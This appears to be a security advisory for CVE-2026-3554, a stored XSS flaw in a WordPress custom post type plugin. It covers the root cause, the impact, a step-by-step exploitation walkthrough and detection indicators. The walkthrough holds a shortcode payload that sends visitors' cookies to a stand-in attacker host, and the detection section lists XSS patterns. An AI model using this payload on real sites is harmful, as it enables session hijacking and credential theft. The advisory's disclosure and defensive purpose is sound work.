CVE-2026-3554: 
WordPress vulnerability analysis and mitigation

CVE-2026-3554 is a Stored Cross-Site Scripting (XSS) vulnerability in the Sherk Custom Post Type Displays plugin for WordPress, affecting all versions up to and including 1.2.1. The flaw allows authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts via the title attribute of the sherkcptdisplays shortcode. The vulnerability was published on March 21, 2026, and assigned a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, ENISA EUVD).

The root cause is insufficient input sanitization and output escaping, classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). Specifically, in the sherkcptdisplays_func() function within includes/SherkCPTDisplaysShortcode.php, the title attribute value is extracted from shortcode_atts() on line 19 and directly concatenated into an HTML <h2> tag on line 31 without any escaping or sanitization. An authenticated attacker with at least Contributor-level access can craft a shortcode with a malicious title value and embed it in a page or post; the script executes in the browser of any user who subsequently visits that page (Wordfence, WordPress Trac).

Successful exploitation allows an attacker to inject persistent malicious scripts into WordPress pages, which execute in the context of any visitor's browser session. This can lead to session cookie theft, credential harvesting, defacement, redirection to malicious sites, or further attacks against site administrators (potentially enabling privilege escalation). The scope is changed (S:C), meaning the injected script can affect users beyond the attacker's own session, though availability is not directly impacted (Wordfence, ENISA EUVD).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2026-3554 as of the available data. The EPSS score is approximately 0.032% (0.000320), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access at the Contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence).

1. Gain Contributor Access: Obtain or register a WordPress account with at least Contributor-level privileges on the target site running Sherk Custom Post Type Displays ≤ 1.2.1.
2. Create or Edit a Post: Navigate to the WordPress dashboard and create a new post or edit an existing one where the sherkcptdisplays shortcode can be inserted.
3. Inject Malicious Shortcode: Insert a shortcode with a crafted title attribute containing a JavaScript payload, for example:

   [sherkcptdisplays title="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"]

4. Publish the Page: Submit or publish the post. The unsanitized title value is stored in the database and rendered directly into the page HTML within an <h2> tag.
5. Trigger Execution: When any user (including administrators) visits the injected page, the malicious script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, WordPress Trac).

• Logs: WordPress post/page content containing [sherkcptdisplays shortcodes with title attributes including <script>, javascript:, onerror=, or other event handler patterns in the database or post revision history.
• File System: Unexpected modifications to posts or pages in the WordPress database (wp_posts table) containing encoded or obfuscated script tags within shortcode attributes.
• Network: Outbound requests from site visitors' browsers to unknown external domains shortly after loading pages containing the sherkcptdisplays shortcode (indicative of data exfiltration).
• Logs: Web server access logs showing repeated page visits to posts containing the malicious shortcode, particularly from diverse IP addresses (indicating broad victim exposure).

WordPress site administrators should update the Sherk Custom Post Type Displays plugin to version 1.2.2 or later, which addresses the missing output escaping. As an interim measure, sites can restrict Contributor-level user registration or audit existing Contributor accounts to reduce the attack surface. Additionally, a Web Application Firewall (WAF) with XSS filtering rules can help detect and block exploitation attempts (Wordfence).

The vulnerability was discovered and disclosed by Wordfence, which published the advisory on March 21, 2026. No significant broader media coverage or notable researcher commentary beyond the initial Wordfence disclosure has been identified (Wordfence).